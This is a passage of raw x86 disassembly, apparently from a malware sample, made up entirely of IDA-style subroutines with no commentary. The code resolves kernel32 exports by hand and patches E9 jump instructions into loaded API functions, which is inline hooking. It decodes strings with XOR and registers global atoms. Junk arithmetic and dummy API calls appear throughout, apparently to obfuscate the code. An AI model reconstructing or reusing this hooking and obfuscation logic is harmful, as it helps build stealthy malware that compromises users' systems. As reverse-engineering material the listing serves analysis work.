jnz short loc_40282C
mov edx, ebx
sub edx, 2
cmp byte ptr [eax+edx], 2
jnz short loc_40282C
mov edx, ebx
sub edx, 3
cmp byte ptr [eax+edx], 2
jnz short loc_40282C
mov edx, ebx
sub edx, 4
movzx eax, byte ptr [eax+edx]
cmp eax, 0E8h
jz short loc_4027DB
cmp eax, 0E9h
jnz short loc_40282C
loc_4027DB: ; CODE XREF: sub_402572+260j
lea edi, [ebp+var_18+3]
lea esi, aA9s ; "A^9S"
mov ecx, 5
rep movsb
mov eax, [ebp+arg_4]
or edx, 0FFFFFFFFh
mov ecx, [ebp+arg_8]
lea ecx, [eax+ecx+5]
add ecx, ebx
sub ecx, 4
sub edx, ecx
add edx, eax
mov eax, edx
sub eax, 4
mov [ebp-10h], eax
call sub_40C634 ; IsDebuggerPresent
mov eax, [ebp+arg_4]
mov edx, [ebp+arg_8]
lea eax, [eax+edx+5]
add eax, ebx
sub eax, 4
mov edx, [ebp-10h]
mov ds:1[eax], edx
call sub_40C514 ; GetCurrentThreadId
loc_40282C: ; CODE XREF: sub_402572+22Dj
; sub_402572+23Aj ...
mov eax, [ebp+arg_0]
cmp byte ptr [eax+ebx], 1
jnz short loc_402894
mov edx, ebx
dec edx
cmp byte ptr [eax+edx], 1
jnz short loc_402894
mov edx, ebx
sub edx, 2
cmp byte ptr [eax+edx], 1
jnz short loc_402894
mov edx, ebx
sub edx, 3
cmp byte ptr [eax+edx], 1
jnz short loc_402894
mov edx, ebx
sub edx, 4
movzx eax, byte ptr [eax+edx]
cmp al, 3Dh
jz short loc_40286F
cmp eax, 0FEh
jz short loc_40286F
cmp eax, 0FFh
jnz short loc_402894
loc_40286F: ; CODE XREF: sub_402572+2EDj
; sub_402572+2F4j
call sub_40C598 ; GetTickCount
call sub_40C508 ; GetCurrentProcessId
mov edi, [ebp+arg_4]
mov esi, [ebp+arg_8]
lea edi, [edi+esi+5]
add edi, ebx
sub edi, 4
mov ds:1[edi], eax
call sub_40C634 ; IsDebuggerPresent
loc_402894: ; CODE XREF: sub_402572+2C1j
; sub_402572+2CAj ...
inc ebx
cmp ebx, 400h
jb loc_40258E
loc_4028A1: ; CODE XREF: sub_402572+70j
pop edi
pop esi
pop ebx
leave
retn
sub_402572 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4028A6 proc near ; CODE XREF: sub_402A4D+813p
var_24 = dword ptr -24h
var_1E = dword ptr -1Eh
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_A = byte ptr -0Ah
var_9 = byte ptr -9
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 24h
push ebx
push esi
push edi
call sub_40C514 ; GetCurrentThreadId
mov esi, [ebp+arg_0]
jmp short loc_4028DA
; ---------------------------------------------------------------------------
loc_4028B9: ; CODE XREF: sub_4028A6+3Ej
call sub_40C538 ; RtlGetLastWin32Error
xor edi, edi
jmp short loc_4028C9
; ---------------------------------------------------------------------------
loc_4028C2: ; CODE XREF: sub_4028A6+29j
cmp byte ptr [esi+edi], 0
jnz short loc_4028D1
inc edi
loc_4028C9: ; CODE XREF: sub_4028A6+1Aj
cmp edi, 3E8h
jbe short loc_4028C2
loc_4028D1: ; CODE XREF: sub_4028A6+20j
cmp edi, 3E8h
jnb short loc_4028EB
inc esi
loc_4028DA: ; CODE XREF: sub_4028A6+11j
mov eax, [ebp+arg_4]
sub eax, 3E8h
cmp esi, eax
jbe short loc_4028B9
jmp loc_402A48
; ---------------------------------------------------------------------------
loc_4028EB: ; CODE XREF: sub_4028A6+31j
add esi, 0Ah
movzx edx, [ebp+arg_8]
shl edx, 2
mov edi, ds:dword_40F380[edx]
xor ebx, ebx
loc_4028FE: ; CODE XREF: sub_4028A6+105j
mov eax, edi
add eax, ebx
push eax
call sub_401D14
pop ecx
call sub_40C5A4 ; GetVersion
movzx eax, byte ptr [edi+ebx]
cmp eax, 0E8h
jz short loc_402945
cmp eax, 0E9h
jz short loc_402945
call sub_40C514 ; GetCurrentThreadId
and [ebp+var_4], 0
jmp short loc_402939
; ---------------------------------------------------------------------------
loc_40292B: ; CODE XREF: sub_4028A6+9Bj
mov eax, ebx
add eax, [ebp+var_4]
mov dl, [edi+eax]
mov [esi+eax], dl
inc [ebp+var_4]
loc_402939: ; CODE XREF: sub_4028A6+83j
mov eax, ds:dword_40E00C
cmp [ebp+var_4], eax
jb short loc_40292B
jmp short loc_4029A2
; ---------------------------------------------------------------------------
loc_402945: ; CODE XREF: sub_4028A6+71j
; sub_4028A6+78j
mov eax, dword_43C125
mov [ebp+var_1E], eax
mov al, [edi+ebx]
mov [esi+ebx], al
call sub_40C634 ; IsDebuggerPresent
lea eax, [edi+ebx+1]
mov eax, [eax]
mov [ebp+var_8], eax
mov edx, esi
add edx, ebx
sub eax, edx
mov edx, edi
add edx, ebx
add eax, edx
mov [ebp+var_14], eax
mov [ebp+var_18], 7962h
mov eax, 3CA4h
mul [ebp+var_18]
mov [ebp+var_24], eax
mov [ebp+var_18], eax
lea eax, [esi+ebx+1]
mov edx, [ebp+var_14]
mov [eax], edx
mov [ebp+var_1A], 2D36h
movzx eax, [ebp+var_1A]
imul eax, 49AAh
mov [ebp+var_1A], ax
loc_4029A2: ; CODE XREF: sub_4028A6+9Dj
add ebx, ds:dword_40E00C
cmp ebx, 5
jb loc_4028FE
call sub_40C634 ; IsDebuggerPresent
or eax, 0FFFFFFFFh
mov edx, esi
add edx, ebx
sub eax, edx
mov edx, edi
add edx, ebx
add eax, edx
sub eax, 4
mov [ebp+var_8], eax
mov [ebp+var_9], 16h
movzx eax, [ebp+var_9]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_9], al
mov byte ptr [ebx+esi], 0E9h
mov [ebp+var_A], 55h
movzx eax, [ebp+var_A]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_A], al
lea eax, [esi+ebx+1]
mov edx, [ebp+var_8]
mov [eax], edx
or eax, 0FFFFFFFFh
sub eax, edi
lea edx, [esi+ebx+5]
add eax, edx
sub eax, 4
mov [ebp+var_8], eax
mov [ebp+var_10], 2E4Bh
sub [ebp+var_10], 0F4Bh
mov byte ptr [edi], 0E9h
call sub_40C598 ; GetTickCount
mov eax, [ebp+var_8]
mov ds:1[edi], eax
call sub_40C634 ; IsDebuggerPresent
push ebx
push esi
movzx edx, [ebp+arg_8]
shl edx, 4
push off_43BE8C[edx]
call sub_402572
add esp, 0Ch
loc_402A48: ; CODE XREF: sub_4028A6+40j
pop edi
pop esi
pop ebx
leave
retn
sub_4028A6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402A4D proc near ; CODE XREF: sub_40A766+534p
var_2578 = dword ptr -2578h
var_2573 = byte ptr -2573h
var_2572 = word ptr -2572h
var_2570 = dword ptr -2570h
var_21AA = byte ptr -21AAh
var_21A4 = word ptr -21A4h
var_21A2 = word ptr -21A2h
var_21A0 = dword ptr -21A0h
var_219C = byte ptr -219Ch
var_219B = word ptr -219Bh
var_2199 = byte ptr -2199h
var_2196 = word ptr -2196h
var_2193 = byte ptr -2193h
var_2192 = byte ptr -2192h
var_218A = word ptr -218Ah
var_2188 = byte ptr -2188h
var_2184 = dword ptr -2184h
var_2180 = dword ptr -2180h
var_217C = dword ptr -217Ch
var_2178 = dword ptr -2178h
var_2174 = word ptr -2174h
var_2172 = word ptr -2172h
var_2170 = dword ptr -2170h
var_216C = dword ptr -216Ch
var_2068 = dword ptr -2068h
var_2062 = word ptr -2062h
var_2060 = dword ptr -2060h
var_205C = dword ptr -205Ch
var_2056 = byte ptr -2056h
var_2055 = byte ptr -2055h
var_2054 = dword ptr -2054h
var_2050 = dword ptr -2050h
var_204C = dword ptr -204Ch
var_2044 = dword ptr -2044h
var_2034 = dword ptr -2034h
var_2030 = dword ptr -2030h
var_202C = dword ptr -202Ch
var_2025 = byte ptr -2025h
var_2024 = dword ptr -2024h
var_2020 = dword ptr -2020h
var_101C = dword ptr -101Ch
var_1015 = byte ptr -1015h
var_1014 = dword ptr -1014h
var_1010 = dword ptr -1010h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = byte ptr 8
push ebp
mov ebp, esp
mov eax, 2578h
call sub_40C498
push ebx
push esi
push edi
mov [ebp+var_2056], 8Bh
sub [ebp+var_2056], 0C3h
call sub_40223C
mov [ebp+var_2054], 7F03h
mov eax, [ebp+var_2054]
mov edx, eax
add edx, eax
mov [ebp+var_2054], edx
mov [ebp+var_2025], 0
call sub_40C5A4 ; GetVersion
cmp eax, 80000000h
jnb short loc_402AA4
mov [ebp+var_2025], 1
loc_402AA4: ; CODE XREF: sub_402A4D+4Ej
call sub_40C634 ; IsDebuggerPresent
mov [ebp+var_1015], 0
loc_402AB0: ; CODE XREF: sub_402A4D+10Aj
cmp [ebp+var_2025], 0
jnz short loc_402ACD
movzx edi, [ebp+var_1015]
shl edi, 4
cmp byte_43BE90[edi], 1
jz short loc_402AEA
loc_402ACD: ; CODE XREF: sub_402A4D+6Aj
cmp [ebp+var_2025], 0
jz short loc_402AEC
movzx edi, [ebp+var_1015]
shl edi, 4
cmp byte_43BE90[edi], 2
jnz short loc_402AEC
loc_402AEA: ; CODE XREF: sub_402A4D+7Ej
jmp short loc_402B3E
; ---------------------------------------------------------------------------
loc_402AEC: ; CODE XREF: sub_402A4D+87j
; sub_402A4D+9Bj
call sub_40C574 ; GetProcessHeap
movzx edi, [ebp+var_1015]
mov esi, edi
shl esi, 4
push off_43BE88[esi]
call sub_40C640 ; LoadLibraryA
mov ds:dword_414090[edi*4], eax
movzx edi, [ebp+var_1015]
mov esi, edi
shl esi, 4
push off_43BE84[esi]
shl edi, 2
push ds:dword_414090[edi]
call sub_40C568 ; GetProcAddress
mov ds:dword_40F380[edi], eax
call sub_40C598 ; GetTickCount
loc_402B3E: ; CODE XREF: sub_402A4D:loc_402AEAj
add [ebp+var_1015], 1
movzx edi, [ebp+var_1015]
shl edi, 4
cmp off_43BE84[edi], 0
jnz loc_402AB0
mov ax, word_43C129
mov [ebp+var_2062], ax
mov [ebp+var_1015], 0
loc_402B71: ; CODE XREF: sub_402A4D+88Fj
movzx edi, [ebp+var_1015]
shl edi, 2
cmp ds:dword_40F380[edi], 0
jz loc_4032C3
call sub_40C574 ; GetProcessHeap
movzx edi, [ebp+var_1015]
shl edi, 2
mov edi, ds:dword_414090[edi]
mov [ebp+var_2034], edi
cmp [ebp+var_2025], 0
jz loc_402E88
call sub_40C598 ; GetTickCount
call sub_4022CC
mov [ebp+var_2030], eax
lea edi, [ebp+var_2192]
lea esi, aTzT6 ; "tz|&>T6"
movsd
movsd
mov edi, [ebp+var_2034]
shr edi, 16h
shl edi, 16h
mov [ebp+var_8], edi
mov eax, edi
add eax, 400000h
mov [ebp+var_1014], eax
xor ebx, ebx
jmp short loc_402C47
; ---------------------------------------------------------------------------
loc_402BF0: ; CODE XREF: sub_402A4D+203j
mov [ebp+var_2193], 73h
movzx eax, [ebp+var_2193]
imul eax, 227Fh
mov [ebp+var_2193], al
mov eax, dword_43C020
add eax, 0FF5h
push eax
push [ebp+var_8]
call sub_40C61C ; IsBadReadPtr
mov [ebp+var_4], eax
mov ax, word_43C133
mov [ebp+var_2196+1], ax
xor [ebp+var_4], 1
shl [ebp+var_4], 2
mov edi, [ebp+var_4]
mov [ebp+ebx*4+var_1010], edi
inc ebx
add [ebp+var_8], 1000h
loc_402C47: ; CODE XREF: sub_402A4D+1A1j
mov eax, [ebp+var_1014]
cmp [ebp+var_8], eax
jbe short loc_402BF0
lea eax, [ebp+var_2188]
push eax
call sub_40C5F8 ; GlobalMemoryStatus
mov [ebp+var_218A], 5761h
movzx eax, [ebp+var_218A]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_218A], ax
and [ebp+var_101C], 0
jmp loc_402DD4
; ---------------------------------------------------------------------------
loc_402C87: ; CODE XREF: sub_402A4D+398j
mov [ebp+var_2199], 6Fh
movzx eax, [ebp+var_2199]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_2199], al
push 0FFFFh
push [ebp+var_101C]
push [ebp+var_2030]
call sub_402465
add esp, 0Ch
mov [ebp+var_C], eax
or eax, eax
jnz short loc_402CE0
mov [ebp+var_219C], 0D9h
movzx eax, [ebp+var_219C]
imul eax, 3A66h
mov [ebp+var_219C], al
jmp loc_402DCA
; ---------------------------------------------------------------------------
loc_402CE0: ; CODE XREF: sub_402A4D+272j
and dword ptr [ebp-2198h], 0
loc_402CE7: ; CODE XREF: sub_402A4D+871j
mov eax, [ebp-2198h]
mov [ebp+var_8], eax
jmp loc_402DA7
; ---------------------------------------------------------------------------
loc_402CF5: ; CODE XREF: sub_402A4D+361j
mov [ebp+var_21A0], 1E00h
inc [ebp+var_21A0]
xor ebx, ebx
loc_402D07: ; CODE XREF: sub_402A4D+30Ej
lea edi, [ebp+var_21AA]
lea esi, aLj0yrfp ; "lJ0YrFP"
movsd
movsd
mov edi, [ebp+var_8]
shr edi, 2
shl edi, 2
add edi, [ebp+var_C]
mov edi, [edi+ebx*4]
mov [ebp+var_4], edi
and [ebp+var_4], 4
mov edi, [ebp+ebx*4+var_1010]
cmp [ebp+var_4], edi
jnz short loc_402D5D
mov [ebp+var_21A2], 71BCh
movzx eax, [ebp+var_21A2]
imul eax, 70FFh
mov [ebp+var_21A2], ax
inc ebx
cmp ebx, 400h
jb short loc_402D07
loc_402D5D: ; CODE XREF: sub_402A4D+2E8j
cmp ebx, 3FFh
jb short loc_402DA0
mov byte ptr [ebp+var_21A2+1], 38h
add byte ptr [ebp+var_21A2+1], 7Bh
mov eax, [ebp+var_8]
add eax, 1000h
mov [ebp-2198h], eax
mov [ebp+var_21A4], 6CA4h
movzx eax, [ebp+var_21A4]
imul eax, 732Ch
mov [ebp+var_21A4], ax
jmp short loc_402E00
; ---------------------------------------------------------------------------
loc_402DA0: ; CODE XREF: sub_402A4D+316j
add [ebp+var_8], 1000h
loc_402DA7: ; CODE XREF: sub_402A4D+2A3j
cmp [ebp+var_8], 0F000h
jbe loc_402CF5
push [ebp+var_C]
call sub_4024C1
pop ecx
mov ax, word_43C13D
mov [ebp+var_219B], ax
loc_402DCA: ; CODE XREF: sub_402A4D+28Ej
add [ebp+var_101C], 10000h
loc_402DD4: ; CODE XREF: sub_402A4D+235j
mov eax, [ebp+var_2180]
sub eax, 0FFFFh
cmp [ebp+var_101C], eax
jbe loc_402C87
push [ebp+var_2030]
call sub_40C55C ; CloseHandle
call sub_40C598 ; GetTickCount
jmp loc_4032C3
; ---------------------------------------------------------------------------
loc_402E00: ; CODE XREF: sub_402A4D+351j
movzx edi, [ebp+var_1015]
shl edi, 2
mov edi, ds:dword_40F380[edi]
mov [ebp+var_1014], edi
and [ebp+var_1014], 0
loc_402E1E: ; CODE XREF: sub_402A4D+439j
mov [ebp+var_2193], 0E0h
movzx eax, [ebp+var_2193]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_2193], al
mov edi, [ebp+var_1014]
shl edi, 2
mov esi, [ebp+var_8]
shr esi, 2
shl esi, 2
add esi, [ebp+var_C]
mov esi, [esi+edi]
mov [ebp+edi+var_2020], esi
mov edi, [ebp+var_1014]
shl edi, 2
mov esi, [ebp+var_8]
shr esi, 2
shl esi, 2
add esi, [ebp+var_C]
add edi, esi
or byte ptr [edi], 2
call sub_40C538 ; RtlGetLastWin32Error
inc [ebp+var_1014]
cmp [ebp+var_1014], 400h
jb short loc_402E1E
loc_402E88: ; CODE XREF: sub_402A4D+15Fj
call sub_40C538 ; RtlGetLastWin32Error
cmp [ebp+var_2025], 0
jnz loc_402F51
mov word ptr [ebp+var_2170+2], 1C0Eh
inc word ptr [ebp+var_2170+2]
push offset aKernel32_dll ; "kernel32.dll"
call sub_40C550 ; GetModuleHandleA
mov [ebp+var_216C], eax
mov word ptr [ebp+var_2170], 33AAh
add word ptr [ebp+var_2170], 0B06h
mov edx, eax
add edx, ds:3Ch[eax]
mov [ebp+var_2178], edx
call sub_40C5A4 ; GetVersion
mov eax, [ebp+var_216C]
mov edx, [ebp+var_2178]
add edx, 78h
add eax, [edx]
mov [ebp+var_217C], eax
mov [ebp+var_2172], 7D9h
add [ebp+var_2172], 4B85h
mov eax, [ebp+var_216C]
mov edx, [ebp+var_217C]
add edx, 1Ch
add eax, [edx]
mov [ebp+var_2180], eax
mov eax, [ebp+var_216C]
mov edx, [ebp+var_2180]
add eax, [edx]
mov [ebp+var_2184], eax
mov [ebp+var_2174], 3604h
add [ebp+var_2174], 2981h
mov [ebp+var_2068], eax
call sub_40C634 ; IsDebuggerPresent
loc_402F51: ; CODE XREF: sub_402A4D+447j
push 1Ch
lea eax, [ebp+var_2050]
push eax
call sub_40C6A0 ; RtlZeroMemory
call sub_40C634 ; IsDebuggerPresent
mov eax, [ebp+var_2034]
mov [ebp+var_202C], eax
mov [ebp+var_2055], 50h
movzx eax, [ebp+var_2055]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_2055], al
loc_402F8A: ; CODE XREF: sub_402A4D+57Dj
; sub_402A4D+5BCj
push 1Ch
lea eax, [ebp+var_2050]
push eax
push [ebp+var_202C]
call sub_40C700 ; VirtualQuery
call sub_40C514 ; GetCurrentThreadId
mov eax, [ebp+var_2034]
cmp [ebp+var_204C], eax
jnz short loc_40300E
mov eax, [ebp+var_2044]
mov [ebp+var_205C], eax
add [ebp+var_202C], eax
cmp [ebp+var_2025], 0
jnz short loc_402F8A
mov word ptr [ebp+var_216C+2], 25A3h
sub word ptr [ebp+var_216C+2], 1506h
push 20060000h
push 0
mov edi, [ebp+var_205C]
shr edi, 0Ch
push edi
mov edi, [ebp+var_2050]
shr edi, 0Ch
push edi
push 1000Dh
call [ebp+var_2068] ; DATA XREF: .data:loc_43F3DEr
; sub_43F401+8Cw ...
loc_403004: ; DATA XREF: .data:0043E439r
; .data:loc_43E475r ...
call sub_40C634 ; IsDebuggerPresent
jmp loc_402F8A
; ---------------------------------------------------------------------------
loc_40300E: ; CODE XREF: sub_402A4D+562j
movzx edi, [ebp+var_1015]
shl edi, 2
mov esi, [ebp+var_202C]
sub esi, [ebp+var_2034]
mov ds:dword_4119B0[edi], esi
call sub_40C598 ; GetTickCount
movzx edi, [ebp+var_1015]
shl edi, 2
mov edi, ds:dword_40F380[edi]
mov [ebp+var_1014], edi
mov eax, dword_43C020
add eax, 0FF5h
push eax
push edi
call sub_40C628 ; IsBadWritePtr
mov [ebp+var_2060], eax
or eax, eax
jnz loc_40326D
call sub_40C5A4 ; GetVersion
cmp [ebp+arg_0], 0
jz loc_40324C
call sub_40C538 ; RtlGetLastWin32Error
mov eax, [ebp+var_1014]
movzx eax, byte ptr [eax]
cmp eax, 0E9h
jz short loc_4030C4
mov [ebp+var_2572], 1FFh
movzx eax, [ebp+var_2572]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_2572], ax
cmp [ebp+arg_0], 1
jnz loc_40324C
mov [ebp+var_2573], 0FEh
add [ebp+var_2573], 32h
jmp loc_40326D
; ---------------------------------------------------------------------------
loc_4030C4: ; CODE XREF: sub_402A4D+63Bj
mov eax, [ebp+var_1014]
mov edx, ds:1[eax]
sub edx, 0FFFFFFFFh
lea eax, [edx+eax+4]
mov [ebp+var_2024], eax
mov [ebp+var_2170], 5AC5h
add [ebp+var_2170], 6A76h
mov byte ptr [ebp+var_216C+3], 0
loc_4030F9: ; CODE XREF: sub_402A4D+751j
sub [ebp+var_2024], 5
mov eax, [ebp+var_2024]
mov [ebp+var_4], eax
loc_403109: ; CODE XREF: sub_402A4D+6F5j
mov eax, [ebp+var_4]
mov edx, eax
dec edx
cmp byte ptr [edx], 0
jnz short loc_40313A
mov edx, eax
sub edx, 2
cmp byte ptr [edx], 0
jnz short loc_40313A
mov edx, eax
sub edx, 3
cmp byte ptr [edx], 0
jnz short loc_40313A
mov edx, eax
sub edx, 4
cmp byte ptr [edx], 0
jnz short loc_40313A
sub eax, 5
cmp byte ptr [eax], 0
jz short loc_403144
loc_40313A: ; CODE XREF: sub_402A4D+6C5j
; sub_402A4D+6CFj ...
call sub_40C598 ; GetTickCount
dec [ebp+var_4]
jmp short loc_403109
; ---------------------------------------------------------------------------
loc_403144: ; CODE XREF: sub_402A4D+6EBj
movzx edi, byte ptr [ebp+var_216C+3]
shl edi, 2
mov esi, [ebp+var_4]
mov [ebp+edi+var_2570], esi
add byte ptr [ebp+var_216C+3], 1
movzx eax, byte ptr [esi]
cmp eax, 0E9h
jnz short loc_4031A3
lea edi, [ebp+var_2573]
lea esi, byte_43C13F
mov ecx, 3
rep movsb
mov eax, [ebp+var_4]
mov edx, ds:1[eax]
sub edx, 0FFFFFFFFh
lea eax, [edx+eax+4]
mov [ebp+var_2024], eax
mov eax, dword_43C142
mov [ebp+var_2578+1], eax
jmp loc_4030F9
; ---------------------------------------------------------------------------
loc_4031A3: ; CODE XREF: sub_402A4D+71Aj
mov ebx, [ebp+var_4]
jmp short loc_4031CB
; ---------------------------------------------------------------------------
loc_4031A8: ; CODE XREF: sub_402A4D+784j
lea edi, [ebp+var_2578+1]
lea esi, aLvdw_x ; "LVDW.X"
mov ecx, 7
rep movsb
mov eax, [ebp+var_1014]
add eax, ebx
sub eax, [ebp+var_4]
mov dl, [ebx]
mov [eax], dl
inc ebx
loc_4031CB: ; CODE XREF: sub_402A4D+759j
cmp ebx, [ebp+var_2024]
jb short loc_4031A8
loc_4031D3: ; CODE XREF: sub_402A4D+7EDj
sub byte ptr [ebp+var_216C+3], 1
movzx edi, byte ptr [ebp+var_216C+3]
shl edi, 2
mov ebx, [ebp+edi+var_2570]
loc_4031EB: ; CODE XREF: sub_402A4D+7E2j
mov byte ptr [ebx], 0
cmp byte ptr ds:1[ebx], 0
jnz short loc_403220
cmp byte ptr ds:2[ebx], 0
jnz short loc_403220
cmp byte ptr ds:3[ebx], 0
jnz short loc_403220
cmp byte ptr ds:4[ebx], 0
jnz short loc_403220
cmp byte ptr ds:5[ebx], 0
jz short loc_403231
loc_403220: ; CODE XREF: sub_402A4D+7A9j
; sub_402A4D+7B3j ...
mov byte ptr [ebp+var_2172+1], 14h
sub byte ptr [ebp+var_2172+1], 0Eh
inc ebx
jmp short loc_4031EB
; ---------------------------------------------------------------------------
loc_403231: ; CODE XREF: sub_402A4D+7D1j
movzx eax, byte ptr [ebp+var_216C+3]
or eax, eax
jg short loc_4031D3
call sub_40C538 ; RtlGetLastWin32Error
cmp [ebp+arg_0], 1
jz short loc_40326D
call sub_40C5A4 ; GetVersion
loc_40324C: ; CODE XREF: sub_402A4D+622j
; sub_402A4D+65Ej
movzx eax, [ebp+var_1015]
push eax
push [ebp+var_202C]
push [ebp+var_2034]
call sub_4028A6
add esp, 0Ch
call sub_40C538 ; RtlGetLastWin32Error
loc_40326D: ; CODE XREF: sub_402A4D+613j
; sub_402A4D+672j ...
cmp [ebp+var_2025], 0
jz short loc_4032C3
mov eax, dword_43C14D
mov [ebp+var_216C], eax
and [ebp+var_1014], 0
loc_403288: ; CODE XREF: sub_402A4D+86Aj
mov edi, [ebp+var_1014]
shl edi, 2
mov esi, [ebp+var_8]
shr esi, 2
shl esi, 2
add esi, [ebp+var_C]
mov edx, [ebp+edi+var_2020]
mov [esi+edi], edx
inc [ebp+var_1014]
cmp [ebp+var_1014], 400h
jb short loc_403288
call sub_40C574 ; GetProcessHeap
jmp loc_402CE7
; ---------------------------------------------------------------------------
loc_4032C3: ; CODE XREF: sub_402A4D+136j
; sub_402A4D+3AEj ...
add [ebp+var_1015], 1
movzx edi, [ebp+var_1015]
shl edi, 4
cmp off_43BE84[edi], 0
jnz loc_402B71
pop edi
pop esi
pop ebx
leave
retn
sub_402A4D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4032E7 proc near ; CODE XREF: sub_403449+50p
; sub_4034D8+46p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
mov esi, [ebp+arg_4]
push esi
push [ebp+arg_0]
mov eax, dword_43C15C
lea eax, ds:41C960h[eax]
push eax
call sub_40C9F4
add esp, 0Ch
mov [ebp+var_4], 314h
xor edi, edi
jmp short loc_40332D
; ---------------------------------------------------------------------------
loc_403316: ; CODE XREF: sub_4032E7+48j
mov eax, dword_43C15C
add eax, edi
lea eax, ds:41C960h[eax]
movsx edx, byte ptr [eax]
xor edx, 2Ah
mov [eax], dl
inc edi
loc_40332D: ; CODE XREF: sub_4032E7+2Dj
cmp edi, esi
jl short loc_403316
mov [ebp+var_8], 1B1h
mov eax, dword_43C15C
add eax, esi
mov byte ptr ds:dword_41C960[eax], 0
xor edi, edi
mov edi, dword_43C15C
add dword_43C15C, 3
mov eax, dword_43C15C
lea eax, [eax+esi+1]
mov dword_43C15C, eax
cmp eax, 0DC8h
jle short loc_403372
and dword_43C15C, 0
loc_403372: ; CODE XREF: sub_4032E7+82j
mov [ebp+var_C], 2D9h
lea eax, dword_41C960[edi]
pop edi
pop esi
leave
retn
sub_4032E7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403383 proc near ; CODE XREF: sub_403449+31p
; sub_4034D8+35p
var_F = byte ptr -0Fh
var_C = byte ptr -0Ch
var_B = byte ptr -0Bh
var_6 = word ptr -6
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
lea edi, [ebp+var_B]
lea esi, dword_43C160
mov ecx, 5
rep movsb
call sub_40C538 ; RtlGetLastWin32Error
mov ecx, ebx
or eax, 0FFFFFFFFh
loc_4033A9: ; CODE XREF: sub_403383+2Bj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_4033A9
mov edi, eax
mov [ebp+var_6], di
call sub_40C538 ; RtlGetLastWin32Error
mov ax, [ebp+var_6]
mov [ebp+var_2], ax
jmp short loc_4033FA
; ---------------------------------------------------------------------------
loc_4033C5: ; CODE XREF: sub_403383+7Dj
movzx eax, [ebp+var_2]
cmp byte ptr [ebx+eax], 5Ch
jnz short loc_4033F6
lea edi, [ebp+var_F]
lea esi, byte_43C165
mov ecx, 3
rep movsb
inc [ebp+var_2]
mov [ebp+var_C], 8Dh
movzx eax, [ebp+var_C]
imul eax, 3989h
mov [ebp+var_C], al
jmp short loc_403402
; ---------------------------------------------------------------------------
loc_4033F6: ; CODE XREF: sub_403383+4Aj
dec [ebp+var_2]
loc_4033FA: ; CODE XREF: sub_403383+40j
movzx eax, [ebp+var_2]
or eax, eax
jg short loc_4033C5
loc_403402: ; CODE XREF: sub_403383+71j
mov ax, [ebp+var_2]
cmp ax, [ebp+var_6]
jnb short loc_40343F
mov [ebp+var_4], 0
jmp short loc_40342D
; ---------------------------------------------------------------------------
loc_403414: ; CODE XREF: sub_403383+BAj
movzx eax, [ebp+var_4]
mov edx, [ebp+arg_4]
movzx ecx, [ebp+var_2]
mov esi, eax
add esi, ecx
mov cl, [ebx+esi]
mov [edx+eax], cl
inc [ebp+var_4]
loc_40342D: ; CODE XREF: sub_403383+8Fj
movzx eax, [ebp+var_4]
movzx edx, [ebp+var_6]
movzx ecx, [ebp+var_2]
sub edx, ecx
cmp eax, edx
jle short loc_403414
loc_40343F: ; CODE XREF: sub_403383+87j
call sub_40C508 ; GetCurrentProcessId
pop edi
pop esi
pop ebx
leave
retn
sub_403383 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403449 proc near ; CODE XREF: sub_403AA3+ACp
; sub_403C5F+286p ...
var_10F = byte ptr -10Fh
var_10A = dword ptr -10Ah
var_106 = byte ptr -106h
var_2 = word ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 110h
push ebx
push esi
push edi
call sub_40C5A4 ; GetVersion
mov eax, dword_43C168
mov [ebp+var_10A], eax
mov ebx, 63Dh
sub ebx, 6B35h
lea eax, [ebp+var_106]
push eax
push [ebp+arg_0]
call sub_403383
lea edi, [ebp+var_10F]
lea esi, aOqd ; " OQD"
mov ecx, 5
rep movsb
push 2
push offset word_446666
call sub_4032E7
push eax
lea edi, [ebp+var_106]
push edi
call sub_40CA54
add esp, 18h
call sub_40C5A4 ; GetVersion
lea eax, [ebp+var_106]
push eax
call sub_40C5D4 ; GlobalAddAtomA
mov [ebp+var_2], 4353h
movzx eax, [ebp+var_2]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_2], ax
pop edi
pop esi
pop ebx
leave
retn
sub_403449 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4034D8 proc near ; CODE XREF: sub_409847+2F3p
; sub_409847+387p ...
var_10D = byte ptr -10Dh
var_10A = word ptr -10Ah
var_108 = word ptr -108h
var_105 = byte ptr -105h
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 110h
push esi
push edi
mov [ebp+var_1], 0C0h
sub [ebp+var_1], 0C7h
lea edi, [ebp+var_10D]
lea esi, aR6 ; "R6"
mov ecx, 3
rep movsb
call sub_40C574 ; GetProcessHeap
lea eax, [ebp+var_105]
push eax
push [ebp+arg_0]
call sub_403383
call sub_40C598 ; GetTickCount
push 2
push offset word_446666
call sub_4032E7
push eax
lea edi, [ebp+var_105]
push edi
call sub_40CA54
add esp, 18h
mov [ebp+var_108], 1D40h
add [ebp+var_108], 6FD4h
